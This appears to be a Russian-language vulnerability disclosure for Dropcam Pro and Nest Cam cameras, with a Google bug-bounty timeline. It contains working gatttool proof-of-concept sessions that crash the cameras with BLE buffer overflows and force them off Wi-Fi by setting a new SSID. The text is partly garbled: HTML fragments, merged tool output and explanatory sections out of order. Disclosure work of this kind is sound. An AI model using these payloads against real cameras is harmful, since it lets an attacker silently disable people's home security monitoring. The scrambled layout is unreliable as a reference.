
Раскрытия PoC-уязвимостей для потребительских IoT-камер с описанием переполнения буфера BLE и атак деассоциации WiFi, которые могут выводить устройства из сети.
Затронуты: Dropcam Pro, модели Nest Cam Indoor/Outdoor
Последняя затронутая сборка: 205-600052
Сборка с частичным исправлением: 205-600055
ОБНОВЛЕНИЕ Последняя версия прошивки 205-600055 не исправляет уязвимость разъединения Wi-Fi в Dropcam Pro. Если указанная Wi-Fi-сеть не существует, время повторного подключения было улучшено — теперь камера подключается обратно примерно за 10 секунд. Однако можно по-прежнему указать валидную Wi-Fi-сеть, чтобы навсегда отключить Dropcam от сети.
Хронология раскрытия:
26 октября 2016 г.: Об ошибке безопасности сообщено в соответствии с правилами программы вознаграждений за уязвимости Google
27 октября 2016 г.: Команда безопасности Google подтвердила, что отчёт получен и расследуется
1 ноября 2016 г.: Команда безопасности Google подтвердила заявленные уязвимости и зарегистрировала ошибку
15 ноября 2016 г.: Комиссия VRP Google выплатила вознаграждение в размере $100 в рамках категории «Non-integrated acquisitions»
17 марта 2017 г.: Публичное раскрытие
PoC iOS-приложение от Troy Stribling :: NestPWN
Краткое описание
Существует возможность вызвать переполнение буфера при установке параметра SSID на камере. Атакующий должен находиться в зоне действия Bluetooth в любой момент, пока камера включена. Bluetooth не отключается даже после первоначальной настройки.
Подтверждение концепции
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Детали
Полезная нагрузка пытается установить SSID длиной 1 байт и отправляет 16.
SequenceNum=3a + Type=0312 + Length=01 + Value=AA*16
Результат
Краш и перезагрузка с возвратом в рабочее состояние
Краткое описание
Существует возможность вызвать переполнение буфера при установке параметра зашифрованного пароля на камере. Атакующий должен находиться в зоне действия Bluetooth в любой момент, пока камера включена. Bluetooth не отключается даже после первоначальной настройки.
Подтверждение концепции
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]> br />
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.
Краткое описание
Существует возможность отключить камеру от Wi-Fi, указав ей новый SSID для подключения. Эти камеры не поддерживают локальное хранение видеозаписей, поэтому видеонаблюдение временно прекращается. Атакующий должен находиться в зоне действия Bluetooth в любой момент, пока камера включена. Bluetooth не отключается даже после первоначальной настройки.
Подтверждение концепции
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
br />
Детали
Полезная нагрузка пытается установить зашифрованный Wi-Fi-пароль длиной 1 байт и отправляет 3.
SequenceNum=3a + Type=0312 + Length=0b + ssidVal=506574536d6172742d356e + type=1a + length=01 + encPass=AA*3
Результат
Краш и перезагрузка с возвратом в рабочее состояние
Characteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfullyCharacteristic value was written successfully[18:B4:30:5D:00:B8][LE]> Детали
Полезная нагрузка пытается изменить связанный SSID камеры Nest Cam, что вызывает временное разъединение с текущим Wi-Fi SSID.
seqNum + 0312(type) 0b(len) + SSID + 1a(type) 20(len) + encPass
seqNum + encPass(cont)
seqNum + encPass(cont) + 2002280032(constant) + 10(len) + authTag
seqNum + authTag(cont) + 3a(UnknownType) 04(len) + DEADBEEF
seqNum(execute)
Результат
Камера отключается от текущей Wi-Fi-сети, чтобы попытаться подключиться к вновь установленному SSID. Если такой Wi-Fi-сети не существует, камера останется офлайн примерно на 60–90 секунд, после чего вернётся к исходной Wi-Fi-сети и возобновит нормальную работу. Если сеть существует, камера проверит подключение к Интернету и останется в новой сети.